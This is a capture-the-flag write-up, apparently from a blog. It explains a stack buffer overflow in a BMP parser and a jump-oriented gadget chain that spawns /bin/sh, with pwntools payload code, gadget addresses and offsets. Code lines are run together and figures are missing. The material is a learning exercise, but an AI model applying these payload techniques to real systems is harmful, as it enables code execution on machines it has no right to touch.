if(bmp->imageSize < MIN_IMGSIZE || bmp->imageSize > MAX_IMGSIZE)
error("Invalid bitmap size. The acceptaple resolution range is 20x20 to 30x30.");
dimension
if(bmp->width != bmp->height)
error("Invalid bitmap resolution. Only square bitmaps are processed.");
the vulnerability lies here:
fseek(file, bmp->dataOffset, SEEK_SET);
uint8_t pixelBuf[bmp->imageSize];
int c = 0, i = 0;
while((c = fgetc(file)) != EOF)
pixelBuf[i++] = (uint8_t)c;
the pixelBuf array is initialized with the size of imageSize, however fgetc reads until EOF .
imageSize is just a variable within the .bmp format and can be set arbitrarily without having to be the same as the actual .bmp size. this means it's possible to have the RasterData's size data section bigger than what is specified in imageSize. thus enabling a buffer overflow.
Exploitation
this type of challenge is called a one shot since we can only interact with the binary once and give our payload input only once, rather different than the usual heap CRUD if you're familiar with it where you can interact with it multiple times.
considering the binary is statically linked with no pie and canary, a one shot here is definitely feasible relatively easy.
to start with, let's create a function to craft our payload according to the .bmp format we saw before
next we'll make sure for the checks mentioned above are satisfied
# challenge specific checksif imageSize < MIN_IMGSIZE:raiseValueError('Image size is too small')if imageSize > MAX_IMGSIZE:raiseValueError('Image size is too large')if width != height:raiseValueError('Only square images are supported')
next we'll format the Header and InfoHeader sections
however after a few run, most of the time it crashes because of a pointer dereference, I'm not sure why and what part causes it, but I decided to not care about it.
the time it succeded we get the offset of 488
due to the unreliableness, I decided to test it a few more times and found out that there would be occurrences where the offset will be different such as follow
to accomodate for it, at the start of the payload I sprayed a bunch of ret gadget to act as a ret slep.
payload +=flat({0: [p64(RET) *10, # ret slep, some brute needed, just upload the same generated payload again# ... snippet ] })
next, I'll use the exact same method and gadget I explained in my previous writeup to write the string path to flag.txt
and the rest of the payload would be the usual ORW.
the reason why I didn't decide to execve and spawn a shell is because the challenge is interfaced through a website where we would upload a .bmp and it will then ran againts the program, then the output will be given back to us.
running the program, it wil give a stack leak which is the address where our buffer starts
Exploitation
so the goal is quite simple, we have a buffer overflow and somehow we need to chain the gadgets to achieve code execution.
first thing to note is that the program doesn't return but rather jump
0040106d ff 24 24 JMP qword ptr [RSP]=>local_8
let's do the basic cyclic test with cyclic(0x200)
as you can see, our payload overflowed 16 bytes in total, with the first 8 bytes being the address where we want to jump.
this is relevant because notice in our gadget we have bunch of pop gadgets but they will be no use if we can't control what's being popped.
in order to call execve, we need to control RAX, RSI, RSI and RDX. after a bit of thought and trial error, two of these gadget are enough:
Gadget 1:
0x401000: pop rbx
0x401001: pop rsp
0x401002: pop rdi
0x401003: pop rdx
0x401004: pop rsi
0x401005: pop rcx
0x401006: jmp QWORD PTR [rsi-0x25]
Gadget 2:
0x40103c: sub rax,rcx
0x40103f: jmp QWORD PTR [rdi+0xb]
through the first gadget, we will able to control all of the registers but RAX, which will be controlled through the second gadget.
do notice that we can control RAX in the second gadget if we are able to control RCX in the first gadget.
first since the overflow is not enough to fully utilize the pop gadgets, we will need to do a stack pivot to the start of our payload. to do this let's calculate the offset from the leaked stack address
payload =cyclic(99) payload +=flat([0x401000, # will go to rbx (stack-0x6b) ])
with that we're able to control RDX, RDI and RSI
next we'll discuss what to set those register with
RDX
this is quite meaningless so we'll set it to NULL
RSI
RSI is quite important as it is how we'll able to chain to the next gadget, it has to contain an address which contain a pointer to our next gadget as it is a jump dereference
0x401006: jmp QWORD PTR [rsi-0x25]
RDI
same as RSI, however this is chained in our second gadget:
0x40103f: jmp QWORD PTR [rdi+0xb]
the target where we wanna jump to is of course, the syscall call.
RCX
RCX is relevant because it's what's will control RAX in the second gadget:
0x40103c: sub rax,rcx
in the last screenshot, RAX was 0x73 thus to achieve RAX = 0x3b, RCX must be 0x38
combining all our payload now would be:
payload =b'' payload +=flat([ stack-0x4b+0x8-0xb, # rdi (start of (stack-0x6b)) also points to -> &(0x40105a)0x0, # rdx stack-0x4b+0x25, # rsi -> points to &(0x40103c)0x38, # rcx0x40103c, # is *(stack-0x4b+0x25), i.e. target for `jmp QWORD PTR [rsi-0x25]`0x40105a, # is target for `jmp QWORD PTR [rdi+0xb]` ]) payload +=b'\x00'* (99-len(payload)) payload +=flat([0x401000, # will go to rbx (stack-0x6b) ]) io.send(payload)
and we're able to hit execve, one small thing is that now RDI points to memory that contains one of our address, we can simply fix this by adjusting the offset where our pointer and the /bin/sh is located
payload =b'' payload +=flat([ stack-0x4b+0x18-0x4-0xb,# rdi (start of (stack-0x6b)) also points to -> &(0x40105a)0x0, # rdx stack-0x4b+0x25, # rsi -> points to &(0x40103c)0x38, # rcx0x40103c, # is *(stack-0x4b+0x25), i.e. target for `jmp QWORD PTR [rsi-0x25]` ]) payload +=b'\x00/bin/sh' payload +=p32(0x0)+p32(0x40105a) payload +=b'\x00'* (99-len(payload)) payload +=flat([0x401000, # will go to rbx (stack-0x6b) ])